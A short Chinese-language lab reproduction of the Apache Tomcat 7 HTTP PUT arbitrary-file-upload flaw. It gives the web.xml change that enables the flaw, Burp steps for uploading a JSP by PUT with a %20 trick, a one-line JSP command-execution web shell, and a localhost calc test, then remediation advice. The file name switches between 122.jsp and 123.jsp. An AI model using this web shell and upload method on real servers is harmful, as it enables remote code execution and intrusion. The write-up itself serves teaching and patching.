1、 漏洞简介及成因
Tomcat 运行在Windows 主机上,且启用了 HTTP PUT 请求方法,可通过构造的攻击请求向服务器上传包含任意代码的 JSP 文件,造成任意代码执行。
影响版本: Apache Tomcat 7.0.0 – 7.0.81
2、 漏洞复现
配置漏洞,开启put方法可上传文件功能。
tomcat文件夹下的/conf/web.xml文件插入:
<init-param>
<param-name>readonly</param-name>
<param-value>false</param-value>
</init-param>
重启tomcat服务。
访问127.0.0.1:8080,burp抓包,send to Repeater,将请求方式改为PUT,创建一个122.jsp,并用%20转义空格字符。123.jsp内容为:
<%Runtime.getRuntime().exec(request.getParameter("cmd"));%>
返回201,说明创建成功。
访问127.0.0.1:8080/122.jsp?cmd=calc。
弹出计算器:
3、 漏洞修复
1)检测当前版本是否在影响范围内,并禁用PUT方法。
2)更新并升级至最新版。